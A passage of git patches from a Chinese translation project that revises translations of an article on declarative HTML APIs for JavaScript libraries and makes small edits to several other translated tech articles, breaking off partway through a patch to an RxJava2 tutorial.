 When the setting is a **boolean**, you could also use classes. Typically, their semantics are similar to boolean attributes: The presence of the class means `true`, and the absence means `false`. If you want the opposite, you can use a `no-` prefix (for example, `no-line-numbers`). Keep in mind that class names are used more than `data-*` attributes, so there is a greater possibility of collision with the user’s existing class names. You could consider prefixing your classes with a prefix like `foo-` to prevent that. Another danger with class names is that a future maintainer might notice that they are not used in the CSS and remove them.
 
-在进行**布尔类型**的设置时，你也可以使用类。典型的，其语义和布尔属性值类似：类出现的时候是 `true` 不出现的时候就是 `false`。如果你想反过来设置，那就用一个 `no-` 前缀（比如，`no-line-number`）。但是要记住，类名可不仅仅只有 `data-*` 属性，因此这种方式很可能会和用户现存的类名冲突。你可以考虑一下在类名中使用 `foo-` 这样的前缀来避免。还存在一个隐患就是，后期的维护中可能会发现它们并未被 CSS 使用而移除它们。
+你也可以使用类进行**布尔值**设置。典型地，类的语法和布尔属性值类似：类出现的时候是 `true` 不出现的时候就是 `false`。如果你想反过来设置，那就用一个 `no-` 前缀（比如，`no-line-number`）。但是要记住，类名可不像属性一样只有 `data-*`，因此这种方式很可能会和用户现存的类名冲突，因此你可以考虑一下在类名中使用 `foo-` 这样的前缀来避免冲突。但也有可能在后期的维护中发现这些类并未被 CSS 使用所以误删，这又是另一个隐患。
 
 When you have a group of related boolean settings, using one space-separated attribute might be better than using many separate attributes or classes. For example, `<div data-permissions="read add edit delete save logout>"` is better than `<div data-read data-add data-edit data-delete data-save data-logout">`, and `<div class="read add edit delete save logout">` would likely cause a ton of collisions. You can then target individual ones via the `~=` attribute selector. For example, `element.matches("[data-permissions~=read]")` checks whether an element has the `read` permission.
 
-当你有一组相关的布尔类型设置时，使用空格区分多个属性会比使用很多分隔符来区分多个属性和类的方式好得多。比如，`<div data-permissions="read add edit delete save logout">` 就比 `<div data-read data-add data-edit data-delete data-save data-logout">`, and `<div class="read add edit delete save logout">` 好得多，因为后者可能会造成很多的冲突。使用空格区分多个属性，你还可以使用 `~=` 属性选择器来定位单个元素。比如，`element.matches("[data-permissions~=read]")` 可以检查该元素是否有 `read` 权限。
+当你需要设置一组相关的布尔值时，使用空格区分会比使用多个分隔符的方式好很多。比如，`<div data-permissions="read add edit delete save logout">` 就比 `<div data-read data-add data-edit data-delete data-save data-logout">`，和 `<div class="read add edit delete save logout">` 好得多，因为后者可能会造成很多的冲突。你还可以使用 `~=` 属性选择器来定位单个元素，比如 `element.matches("[data-permissions~=read]")` 可以检查该元素是否有 `read` 权限。
 
 If the type of a setting is an **array or object**, then you can use a `data-*` attribute that links to another element. For example, look at how HTML5 does autocomplete: Because autocomplete requires a list of suggestions, you use an attribute to link to a `<datalist>` element containing these suggestions via its ID.
 
-如果设置的类型是一个**数组或者对象**，那么你就可以使用 `data-*` 属性来联系到另一个元素。比如，来看看 HTML5 如何自动完成的：因为自动完成需要一个建议列表，你使用一个属性并且通过 `<datalist>` 的 ID 联系到这些内容。
+如果设置内容的类型是**数组或者对象**，那么你就可以使用 `data-*` 属性来联系到另一个元素。比如， HTML5 中的自动完成：因为自动完成需要一个建议列表，你可以使用 `data-*` 属性并通过 ID 联系到包含建议内容的 `<datalist>` 元素。
 
 This is a point when following HTML conventions becomes painful: In HTML, linking to another element in an attribute is always done by referencing its ID (think of `<label for="…">`). However, this is rather limiting: It’s so much more convenient to allow selectors or even nesting if it makes sense. What you go with will largely depend on your use case. Just keep in mind that, while consistency is important, usability is our goal here.
 
-在遵从 HTML 规定的时候有一点很痛苦：在 HTML 中，用属性联系到另一个元素通常是靠引用其 ID（试想一下 `<label for="...">`）。然而，这相当受限：如果能够允许选择器或者甚至允许嵌套，这将更为方便。其效果将会极大地依赖于你所选用的内容。只要记住，尽管稳定性很重要，但是我们的目标是好用。
+HTML 有一个规定很让人头痛：在 HTML 中，用属性联系到另一个元素通常是靠引用其 ID 实现的（试想一下 `<label for="...">`）。然而，这种方法相当受限制：如果能够允许使用选择器或者甚至允许嵌套将更为方便，其效果将会极大地依赖于你的使用情况。但要时刻牢记，虽然稳定性很重要，但是实用才是我们的目的。
 
 **It’s OK if not every single setting is available via HTML.** Settings whose values are functions can stay in JavaScript and be considered “advanced customization.” Consider [Awesomplete](http://leaverou.github.io/awesomplete/#customization): All numerical, boolean, string and object settings are available as `data-*` attributes (`list`, `minChars`, `maxItems`, `autoFirst`). All function settings are only available in JavaScript (`filter`, `sort`, `item`, `replace`, `data`). If someone is able to write a JavaScript function to configure your library, then they can use the JavaScript API.
 
-**即使有部分设置不能通过 HTML 生效也没关系。**在 JavaScript 中设置的函数被认为是“高级自定义”的内容。试想一下 [Awesomplete](http://leaverou.github.io/awesomplete/#customization)：所有数字、布尔值、字符串和对象都可以通过 `data-*` 属性（`list`、`minChars`、`maxItems`、`autoFirst`）设置。所有的函数设置只能通过 JacaScript 生效（`filter`、`sort`、`item`、`replace`、`data`）。如果有人想写一个 JacaScript 函数来配置类库，然后他们就可以使用 JavaScript API 了。
+**即使有些设置不能通过 HTML 生效也没关系。**在 JavaScript 中以函数为设置值的部分被称作“高级自定义”。试想一下 [Awesomplete](http://leaverou.github.io/awesomplete/#customization)：所有数字、布尔值、字符串和对象都可以通过 `data-*` 属性（`list`、`minChars`、`maxItems`、`autoFirst`）设置，所有的函数设置只能通过 JavaScript 使用（`filter`、`sort`、`item`、`replace`、`data`），这样会写 JavaScript 函数来配置类库的人就可以使用 JavaScript API 了。
 
 Regular expressions (regex) are a bit of a gray area: Typically, only programmers know regular expressions (and even programmers have trouble with them!); so, at first glance there doesn’t seem to be any point in including settings with regex values in your HTML API. However, HTML5 did include such a setting (`<input pattern="regex">`), and I believe it was quite successful, because non-programmers can look up their use case in a [regex directory](http://www.html5pattern.com/)[16](#16) and copy and paste.
 
-正则表达式（regex）处在灰色地带：典型的，只有程序员才知道正则表达式（甚至程序员也会有问题！）；那么，乍看之下，在 HTML API 中引入正则表达式的设置内容并没有什么意义。然而，HTML5 确实引入了这样的设置（`<input pattern="regex">`），并且我相信那会很成功，因为非程序员能在[正则词典](http://www.html5pattern.com/)<sup>[\[2\]](#note2)</sup>中找到他们的用例并复制粘贴。
+正则表达式（regex）处在灰色地带：典型的，只有程序员才知道正则表达式（甚至程序员在使用的时候也会有问题！）；那么，乍看之下，在 HTML API 中引入正则表达式类型的设置并没有意义。然而，HTML5 确实引入了这样的设置（`<input pattern="regex">`），并且我相信那很成功，因为非程序员能在[正则词典](http://www.html5pattern.com/)中找到他们的用例并复制粘贴。
 
 ### Inheritance ###
 
@@ -177,15 +177,15 @@ Regular expressions (regex) are a bit of a gray area: Typically, only programmer
 
 If your UI library is going to be used once or twice on each page, then inheritance won’t matter much. However, if it could be applied to multiple elements, then configuring the same settings on each one of them via classes or attributes would be painful. Remember that **not everyone uses a build system**, especially non-developers. In these cases, it might be useful to define that settings can be inherited from ancestor elements, so that multiple instances can be mass-configured.
 
-如果你的 UI 库只会在每一页调用一次或者两次，那么继承将不会有很大影响。然而，如果要应用于多个元素，那么通过类或者属性给每个元素做相同的配置将会非常痛苦。只需要记住**并不是每个人都用了构造系统**，尤其是非程序员。在这些情况下，定义能够从祖先元素继承设置将会变得非常有用，那样多个实例就可以被批量设置了。
+如果你的 UI 库在每个页面只会调用一两次，继承将不会很重要。然而，如果要应用于多个元素，通过类或者属性给每个元素做相同的配置将会非常令人头痛。记住**并不是每个人都用了构造系统**，尤其是非程序员。在这些情况下，定义能够从祖先元素继承设置将会变得非常有用，那样多个实例就可以被批量设置了。
 
 Take [Prism](http://prismjs.com/), a popular syntax-highlighting library, used here on Smashing Magazine as well. The highlighting language is configured via a class of the form `language-xxx`. Yes, this goes against the guidelines we discussed in the previous section, but this was a conscious decision because the [HTML5 specification recommends this](https://www.w3.org/TR/html51/textlevel-semantics.html#the-code-element) for specifying the language of a code snippet. On a page with multiple code snippets (think of how often a blog post about code uses inline `<code>` elements!), specifying the coding language on each `<code>` element would become extremely tedious. To mitigate this pain, Prism supports inheritance of these classes: If a `<code>` element does not have a `language-xxx` class of its own, then the one of its closest ancestor that does is used. This enables users to set the coding language globally (by putting the class on the `<body>` or `<html>` elements) or by section, and override it only on elements or sections with a different language.
 
-比如 [Prism](http://prismjs.com/)，时下流行的语法高亮类库，在这里也使用了 Smashing Magazine。高亮语言是通过 `languate-xxx` 形式的类来配置高亮语言。是的，这违反了我们在前文中谈过的规则，但是这只是一种主观决定，仅仅是因为在 [HTML5 说明中建议如此而已](https://www.w3.org/TR/html51/textlevel-semantics.html#the-code-element)。在有许多代码段的页面上（想象一下，在博客文章中使用内联 `<code>` 元素的频率！），在每个 `<code>` 元素中指定代码语言将会非常烦人。为了缓解这种痛苦，Prism 支持继承这些类：如果一个 `<code>` 元素自己没有 `language-xxx` 类，那么将会使用最近的祖先元素的 `language-xxx` 类。这使得用户可以设置全局的代码语言（通过在 `<body>` 或者 `<html>` 元素上设置类）或者设置区块的代码语言，并且可以在拥有不同语言的元素或者区块上重写设置。
+比如 [Prism](http://prismjs.com/)，时下流行的语法高亮类库，同时也使用了 Smashing Magazine。高亮语句是通过 `languate-xxx` 形式的类来配置的。是的，这违反了我们在前文中谈过的规则，但这只是一种主观决策，因为 [HTML5 手册中建议如此](https://www.w3.org/TR/html51/textlevel-semantics.html#the-code-element)。在有许多代码段的页面上（想象一下，在博客文章中使用内联 `<code>` 元素的频率！），在每个 `<code>` 元素中指定代码语句将会非常烦人。为了缓解这种痛苦，Prism 支持继承这些类：如果一个 `<code>` 元素自己没有 `language-xxx` 类，那么将会使用其最近的祖先元素的 `language-xxx` 类。这使得用户可以设置全局的代码语句（通过在 `<body>` 或者 `<html>` 元素上设置类）或者设置区块的代码语句，并且可以在拥有不同语句的元素或者区块上重写设置。
 
 Now that [CSS variables](https://www.w3.org/TR/css-variables/) are [supported by every browser](http://caniuse.com/#feat=css-variables), they are a good candidate for such settings: They are inherited by default and can be set inline via the `style` attribute, via CSS or via JavaScript. In your code, you get them via `getComputedStyle(element).getPropertyValue("--variablename")`. Besides browser support, their main downside is that developers are not yet used to them, but that is changing. Also, you cannot monitor changes to them via `MutationObserver`, like you can for elements and attributes.
 
-既然 [CSS 变量](https://www.w3.org/TR/css-variables/)已经得到[所有的浏览器支持](http://caniuse.com/#feat=css-variables)，他们可以用于以下设置：他们默认可以被继承，并且可以以内联的方式通过 `style` 属性设置，也可以通过 CSS 或者 JavaScript 设置。在代码中，你可以通过 `getComputedStyle(element).getPropertyValue("--variablename")` 获取它们。除了浏览器支持，它们的不利之处还有开发者们并不习惯使用，但是那已经发生改变了。并且，你不能通过 `MutationObserver` 来监视其改变，就像你监视元素和属性的改变一般。
+现在 [CSS 变量](https://www.w3.org/TR/css-variables/)已经被[所有的浏览器支持](http://caniuse.com/#feat=css-variables)，它们可以用于以下设置：他们默认可以被继承，并且可以以内联的方式通过 `style` 属性设置，也可以通过 CSS 或者 JavaScript 设置。在代码中，你可以通过 `getComputedStyle(element).getPropertyValue("--variablename")` 获取它们。除了浏览器支持，其主要的劣势就是开发者们还没习惯使用它们，但是那已经发生改变了。并且，你不能像监视元素和属性的一般通过 `MutationObserver` 来监视其改变。
 
 ### Global Settings ###
 
@@ -193,7 +193,7 @@ Now that [CSS variables](https://www.w3.org/TR/css-variables/) are [supported by
 
 Most UI libraries have two groups of settings: settings that customize how each instance of the widget behaves, and global settings that customize **how the library behaves**. So far, we have mainly discussed the former, so you might be wondering what is a good place for these global settings.
 
-大多数 UI 类库都有两组设置：定义每个组件表现形式的设置和定义整个类库表现形式的全局设置。目前为止，我们主要讨论了前者，因此你现在可能在好奇全局设置有什么好用的地方。
+大多数 UI 类库都有两组设置：定义每个组件表现形式的设置和定义**整个类库表现形式**的全局设置。目前为止，我们主要讨论了前者，你现在可能在好奇全局设置有什么好用的地方。
 
 One candidate is the `<script>` element that includes your library. You can get this via [`document.currentScript`](http://www.2ality.com/2014/05/current-script.html), and it has very good [browser support](http://caniuse.com/#feat=document-currentscript). The advantage of this is that it’s unambiguous what these settings are for, so their names can be shorter (for example, `data-filter`, instead of `data-stretchy-filter`).
 
@@ -201,7 +201,7 @@ One candidate is the `<script>` element that includes your library. You can get
 
 However, the `<script>` element should not be the only place you pick up these settings from, because some users may be using your library in a CMS that does not allow them to customize `<script>` elements. You could also look for the setting on the `<html>` and `<body>` elements or even anywhere, as long as you have a clearly stated policy about which value wins when there are duplicates. (The first one? The last one? Something else?)
 
-然而，你不能只在 `<script>` 元素中进行设置，因为一些用户可能会在 CMS 中使用你的类库，而 CMS 中不允许用户自定义 `<script>` 元素。你也可以在 `<html>` 和 `<body>` 元素或者甚至任何地方设置，只要你清楚地声明了当有属性值重复的时候哪个会生效。（第一个？最后一个？还是其他的？）
+然而，你不能只在 `<script>` 元素中进行设置，因为一些用户可能会在 CMS 中使用你的类库，而 CMS 中不允许用户自定义 `<script>` 元素。你也可以在 `<html>` 和 `<body>` 元素或者甚至任何地方设置，只要你清楚地声明了属性值重复的时候哪个会生效。（第一个？最后一个？还是其他的？）
 
 ### Documentation ###
 
@@ -209,15 +209,15 @@ However, the `<script>` element should not be the only place you pick up these s
 
 So, you’ve taken care to design a nice declarative API for your library. Well done! However, if all of your documentation is written as if the user understands JavaScript, few will be able to use it. I remember seeing a cool library for toggling the display of elements based on the URL, via HTML attributes on the elements to be toggled. However, its nice HTML API could not be used by the people it targeted because the entire documentation was littered with JavaScript references. The very first example started with, “This is equivalent to `location.href.match(/foo/)`.” What chance does a non-programmer have to understand this?
 
-那么，你已经掌握了如何在类库中设置一个漂亮的声明性的 API。棒极了！然而，如果你所有的文档都写得只有了解 JavaScript 的用户才看得懂，那么就只有很少人能使用了。我记得曾经看过一个很酷的类库，基于 URL 并通过切换元素的 HTML 属性来切换元素的表现形式。然而，这漂亮的 HTML API 并不能被其目标人群所使用，因为整篇文档中都充满了 JavaScript 引用。最开始的例子是这样开始的“这和 `location.href.match(/foo/)` 等价。”非程序员哪能看懂这个呢？
+那么，你已经掌握了如何在类库中设置一个漂亮的声明性的 API。棒极了！然而，如果你所有的文档都写得只有会 JavaScript 的用户才看得懂，那么就只有很少人能使用了。我记得曾经看过一个很酷的类库，基于 URL 并通过切换元素的 HTML 属性来切换元素的表现形式。然而，这漂亮的 HTML API 并不能被其目标人群所使用，因为整篇文档中都充满了 JavaScript 引用。最开始的例子是这样开始的“这和 `location.href.match(/foo/)` 等价。”非程序员哪能看懂这个呢？
 
 Also, remember that many of these people do not speak any programming language, not just JavaScript. Do not talk about models, views, controllers or other software engineering concepts in text that you expect them to read and understand. All you will achieve is confusing them and turning them away.
 
-同时要记得许多人并不会任何编程语言，不只是 JacaScript。并不知道你所期望用户读懂和理解的文中的模型、视图、控制器或者其他软件工程观念，结果无非是让他们摸不着头难并且放弃。
+同时要记得许多人并不会任何编程语言，不光是 JavaScript。你期望用户能够读懂并理解的文中的模型、视图、控制器或者其他软件工程观念，结果无非是让他们摸不着头难并且放弃。
 
 Of course, you should document the JavaScript parts of your API as well. You could do that in an “Advanced usage” section. However, if you start your documentation with references to JavaScript objects and functions or software engineering concepts, then you’re essentially telling non-programmers that this library is not for them, thereby excluding a large portion of your potential users. Sadly, most documentation for libraries with HTML APIs suffers from these issues, because HTML APIs are often seen as a shortcut for programmers, not as a way for non-programmers to use these libraries. Hopefully, this will change in the future.
 
-当然，你也应该在文档中写 API 中的 JavaScript 部分内容，你可以写在“高级使用”部分。然而，如果你在文档一开头就引用 JavaScript 对象和函数或者软件工程观念，那么你实质上就是在告诉非程序员这个类库不是给他们用的，因此你就排除了一大批潜在用户。不幸的是，大部分的 HTML API 类库文档都受这些问题困扰着，因为 HTML API 经常被视为是是程序员的捷径，而并不是给非程序员使用的。庆幸的是，这种状况在未来可以有改变。
+当然，你应该在文档中写 API 里 JavaScript 的内容，你可以写在“高级使用”部分。然而，如果你在文档一开头就引用 JavaScript 对象和函数或者软件工程的观念，那么你实质上就是在告诉非程序员这个类库不是给他们用的，因此你就排除了一大批潜在用户。不幸的是，大部分的 HTML API 类库文档都受这些问题困扰着，因为 HTML API 经常被视为是程序员的捷径，而并不是给非程序员使用的。庆幸的是，这种状况在未来可以有改变。
 
 ### What About Web Components? ###
 
@@ -225,11 +225,11 @@ Of course, you should document the JavaScript parts of your API as well. You cou
 
 In the near future, the Web Components quartet of specifications will revolutionize HTML APIs. The `<template>` element will enable authors to provide scripts with partial inert markup. Custom elements will enable much more elegant `init` markup that resembles native HTML. HTML imports will enable authors to include just one file, instead of three style sheets, five scripts and ten templates (if Mozilla gets its act together and [stops thinking that ES6 modules are a competing technology](https://hacks.mozilla.org/2014/12/mozilla-and-web-components)). The Shadow DOM will enable your library to have complex DOM structures that are properly encapsulated and that do not interfere with the user’s own markup.
 
-在不远的未来，Web 组件四分之一的规格将会彻底改变 HTML API。`<template>` 元素将会使得作者提供惰性加载的脚本。自定义元素将能运用更多的 `init` 标记来组建原生的 HTML。引入 HTML 也将使得作者能够仅引入一个文件来替代三个样式表、五个脚本和十个模板（如果浏览器能够同时获取并且[不再认为 ES6 模块是不友好的技术](https://hacks.mozilla.org/2014/12/mozilla-and-web-components)）。Shadow DOM 使得类库可以将复杂的 DOM 结构适当压缩并且不会影响用户自己的标记。
+在不远的未来，Web 组件百分之百将会彻底改变 HTML API。`<template>` 元素将会允许作者提供惰性加载的脚本。自定义元素将能运用更多的 `init` 标记来组建原生的 HTML。引入 HTML 也将使得作者能够仅引入一个文件来替代三个样式表、五个脚本和十个模板（如果浏览器能够同时获取并且[不再认为 ES6 模块是一种竞争技术](https://hacks.mozilla.org/2014/12/mozilla-and-web-components)）。Shadow DOM 使得类库可以将复杂的 DOM 结构适当压缩并且不会影响用户自己的标记。
 
 However, `<template>` aside, browser support for the other three is [currently limited](http://caniuse.com/#search=web%20components). So, they require large polyfills, which makes them less attractive for library use. However, it’s something to keep on your radar for the near future.
 
-然而，`<template>` 那边，浏览器对其他三个的支持[目前受限](http://caniuse.com/#search=web%20components)。因此他们需要更高的聚合度，以此来减少对类库的影响。然而，这将会是你在未来一段时间里时刻关注的东西。
+然而除了 `<template>`，浏览器对其他三个特征的支持[目前受限](http://caniuse.com/#search=web%20components)。因此他们需要更高的聚合度，以此来减少对类库的影响。然而，这将会是你在未来一段时间里需要不断关注的东西。
 
 ### MarkApp: A List Of Libraries With HTML APIs
 
@@ -237,4 +237,4 @@ However, `<template>` aside, browser support for the other three is [currently l
 
 If you’ve followed the advice in this article, then congratulations on making the web a better, more inclusive space to be creative in! I try to maintain a list of all libraries that have HTML APIs on [MarkApp](http://markapp.io/). Send a pull request and add yours, too!
 
-如果你已经遵循了这篇文章中的建议，那么恭喜你已经能够把网站做得更好，更有内涵和创造性了！我在 [MarkApp](http://markapp.io/) 上维护着一些使用 HTML API 类库的列表。请也发 Pull Request 给我，来添加你自己的内容！
+如果你已经听取了这篇文章中的建议，那么恭喜你已经能够把网站做得更好，更有内涵和更有创造性了！我在 [MarkApp](http://markapp.io/) 上维护着一些使用 HTML API 类库的列表。请发 Pull Request 给我来添加你自己的内容！

From c1ba858c8281a17c7967ce6b096b0321c29b76d7 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Tue, 2 May 2017 11:11:14 +0800
Subject: [PATCH 306/638] Update code-comments-the-good-the-bad-and-the-ugly.md

---
 TODO/code-comments-the-good-the-bad-and-the-ugly.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/code-comments-the-good-the-bad-and-the-ugly.md b/TODO/code-comments-the-good-the-bad-and-the-ugly.md
index 38d02db3bbd..fe16f9a33c4 100644
--- a/TODO/code-comments-the-good-the-bad-and-the-ugly.md
+++ b/TODO/code-comments-the-good-the-bad-and-the-ugly.md
@@ -192,7 +192,7 @@ Number.isFinite(value)
 不要这么做。
 
 
-如果你喜欢这篇文章，请在这篇文章下方戳一下 ❤ 点个赞，帮助我传播。如果你想阅读更多其他的文章，欢迎登记订阅我每周的 Dev Mastery 简报。
+如果你喜欢这篇文章，请在分享这篇文章，帮助我传播。如果你想阅读更多其他的文章，欢迎登记订阅我每周的 [Dev Mastery 简报（英）](https://upscri.be/b1334e/)。
 
 ---
 

From a8c42083b50b82623822e4bca9b1b6e631047afb Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Tue, 2 May 2017 11:36:50 +0800
Subject: [PATCH 307/638] Update
 css-in-javascript-the-future-of-component-based-styling.md

---
 TODO/css-in-javascript-the-future-of-component-based-styling.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/css-in-javascript-the-future-of-component-based-styling.md b/TODO/css-in-javascript-the-future-of-component-based-styling.md
index 59ce3162744..928d8af02ee 100644
--- a/TODO/css-in-javascript-the-future-of-component-based-styling.md
+++ b/TODO/css-in-javascript-the-future-of-component-based-styling.md
@@ -1,5 +1,5 @@
 > * 原文地址：[CSS in JavaScript: The future of component-based styling](https://medium.freecodecamp.com/css-in-javascript-the-future-of-component-based-styling-70b161a79a32)
-> * 原文作者：[Jonathan Z. White](https://medium.freecodecamp.com/@JonathanZWhite)
+> * 原文作者：本文已获原作者 [Jonathan Z. White](https://medium.freecodecamp.com/@JonathanZWhite) 授权
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[bambooom](https://github.com/bambooom)
 > * 校对者：[Aladdin-ADD](https://github.com/Aladdin-ADD)、[reid3290](https://github.com/reid3290)

From 67ea9488b8bed426469f79a24d7aa6eda798da88 Mon Sep 17 00:00:00 2001
From: lsvih <lsvih@qq.com>
Date: Tue, 2 May 2017 12:04:45 +0800
Subject: [PATCH 308/638] Update
 es6-modules-support-lands-in-browsers-is-it-time-to-rethink-bundling.md

---
 ...-support-lands-in-browsers-is-it-time-to-rethink-bundling.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/es6-modules-support-lands-in-browsers-is-it-time-to-rethink-bundling.md b/TODO/es6-modules-support-lands-in-browsers-is-it-time-to-rethink-bundling.md
index 02906e2ba16..29259bb3204 100644
--- a/TODO/es6-modules-support-lands-in-browsers-is-it-time-to-rethink-bundling.md
+++ b/TODO/es6-modules-support-lands-in-browsers-is-it-time-to-rethink-bundling.md
@@ -60,7 +60,7 @@ export default function() {
 
 这个 app 将会显示“Hello world”。在下文中显示“Hello world” 即表示脚本加载成功。
 
-### 装载一个代码包（bundle） ###
+### 装载一个代码包（bundle）###
 
 配置使用 Webpack 创建一个代码包相对来说比较直观。在构建过程中，除了打包和使用 UglifyJS 压缩 JavaScript 文件之外并没有做别的什么事。
 

From 9f0cfd30cb45fd5c5a6d8408f79d98f232a19529 Mon Sep 17 00:00:00 2001
From: lsvih <lsvih@qq.com>
Date: Tue, 2 May 2017 12:06:24 +0800
Subject: [PATCH 309/638] Update
 es6-modules-support-lands-in-browsers-is-it-time-to-rethink-bundling.md

---
 ...-support-lands-in-browsers-is-it-time-to-rethink-bundling.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/es6-modules-support-lands-in-browsers-is-it-time-to-rethink-bundling.md b/TODO/es6-modules-support-lands-in-browsers-is-it-time-to-rethink-bundling.md
index 29259bb3204..60759c6850d 100644
--- a/TODO/es6-modules-support-lands-in-browsers-is-it-time-to-rethink-bundling.md
+++ b/TODO/es6-modules-support-lands-in-browsers-is-it-time-to-rethink-bundling.md
@@ -60,7 +60,7 @@ export default function() {
 
 这个 app 将会显示“Hello world”。在下文中显示“Hello world” 即表示脚本加载成功。
 
-### 装载一个代码包（bundle）###
+### 装载一个代码包（bundle）
 
 配置使用 Webpack 创建一个代码包相对来说比较直观。在构建过程中，除了打包和使用 UglifyJS 压缩 JavaScript 文件之外并没有做别的什么事。
 

From e95d07328491df9f1e65dc91601f1b2e938ca104 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=AC=A7=E9=98=B3=E5=A4=8F=E6=98=B1?= <ouyangxiayu@m24.cn>
Date: Tue, 2 May 2017 16:29:58 +0800
Subject: [PATCH 310/638] =?UTF-8?q?2017.5.2=20=E5=A2=9E=E5=8A=A0=E7=BF=BB?=
 =?UTF-8?q?=E8=AF=91=20=E6=A0=A1=E5=AF=B9=20=E5=90=8D=E5=8D=95,=E5=8E=BB?=
 =?UTF-8?q?=E6=8E=89=E8=8B=B1=E6=96=87,=E4=BF=AE=E6=94=B9part=E6=8C=87?=
 =?UTF-8?q?=E5=90=91=E5=9C=B0=E5=9D=80?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...le-developer-android-rxjava2-hell-part5.md | 111 ++----------------
 1 file changed, 12 insertions(+), 99 deletions(-)

diff --git a/TODO/dialogue-rx-observable-developer-android-rxjava2-hell-part5.md b/TODO/dialogue-rx-observable-developer-android-rxjava2-hell-part5.md
index 0de461c4006..a9a135f0a51 100644
--- a/TODO/dialogue-rx-observable-developer-android-rxjava2-hell-part5.md
+++ b/TODO/dialogue-rx-observable-developer-android-rxjava2-hell-part5.md
@@ -1,106 +1,61 @@
 > * 原文地址：[Dialogue between Rx Observable and a Developer (Me) [ Android RxJava2 ] ( What the hell is this ) Part5](http://www.uwanttolearn.com/android/dialogue-rx-observable-developer-android-rxjava2-hell-part5/)
 > * 原文作者：[Hafiz Waleed Hussain](http://www.uwanttolearn.com/author/admin/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
-> * 校对者：
+> * 译者：[龙骑将杨影枫](https://github.com/stormrabbit)
+> * 校对者：[Phoenix](https://github.com/wbinarytree)、J[erryMissTom](https://github.com/JerryMissTom)
 
-## Dialogue between Rx Observable and a Developer (Me)  [ Android RxJava2 ] ( What the hell is this ) Part5 ##
 
 ## 开发者（也就是我）与Rx Observable 类的对话 [ Android RxJava2 ] ( 这到底是什么？) 第五部分 ##
 
-
-WOW, we got one more day so its time to make this day awesome by learning something new 🙂.
-
 又是新的一天，是时候学点新东来西来让今天变得酷炫了🙂。
 
-Hello guys, hope you are doing good. This is our fifth post in series of RxJava2 Android [ [part1](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/), [part2](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/), [part3](http://www.uwanttolearn.com/android/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3/), [part4](http://www.uwanttolearn.com/android/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4/) ]. In this part we are going to work with Rx Java Android. Our prerequisites are done. So we can start now.
-
-大家好，希望你们都过的不错。这是我们 RxJava2 Android 系列的第五篇文章 [ [part1](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/), [part2](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/), [part3](http://www.uwanttolearn.com/android/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3/), [part4](http://www.uwanttolearn.com/android/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4/) ] 。在这篇文章中，我们会继续研究 Rx Java Android 。
-
-**Motivation:**
+大家好，希望你们都过的不错。这是我们 RxJava2 Android 系列的第五篇文章 [ [part1](https://github.com/xitu/gold-miner/blob/master/TODO/reactive-programming-android-rxjava2-hell-part1.md), [part2](https://github.com/xitu/gold-miner/blob/master/TODO/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2.md), [part3](https://github.com/xitu/gold-miner/blob/master/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md), [part4](https://github.com/xitu/gold-miner/blob/master/TODO/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4.md) ] 。在这篇文章中，我们会继续研究 Rx Java Android 。
 
 **动机**：
 
-Motivation is same which I share with you in [part1](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/). This time we will see, a lot of things in action which we already learned in last four posts.
-
-动机和我在第一部分 [part1](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/) 中分享给大家的一样。现在我们把之前 4 篇学到的东西融会贯通起来。
-
-**Introduction:**
+动机和我在第一部分 [part1](https://github.com/xitu/gold-miner/blob/master/TODO/reactive-programming-android-rxjava2-hell-part1.md) 中分享给大家的一样。现在我们把之前 4 篇学到的东西融会贯通起来。
 
 **介绍：**
 
-When I am learning Rx Java Android. One day I met with a Rx Java Observable. So I asked a lot of questions and good news is Observable is really good and down to earth which amazed me. I have a opinion this Rx Java is really bad and full of pride. He/She don’t want to make friendship with lot of developers instead that play with developers and bluff them but after I start my dialogue with him/her I am amazed my opinion is wrong.
-
 当我在学习 Rx java Android 的某一天，我有幸与一位 Rx Java 的 Observable 类进行了亲切友好的交谈。好消息是 Observable 类很厚道，令我惊叹不已。我一直以为 Rx Java 是个大坑逼。他/她不想和开发者做朋友，总给他们穿小鞋。
 但是在和 Observable 类谈话以后，我惊喜的发现我的观点是错的。
 
-Me: Hello Observable. How are you?
-
 我：你好，Observable 类，吃了嘛您？
 
-Observable: Hi Hafiz Waleed Hussain, I am good. Thank you.
-
 Observable 类：你好 Hafiz Waleed Hussain ，我吃过啦。
 
-Me: Why your learning curve is really tough? Why you are not easy for developers? You don’t want to make friendship with Developers.
 
 我：为啥你的学习曲线这么陡峭？为啥你故意刁难开发者？你这么搞要没朋友了。
 
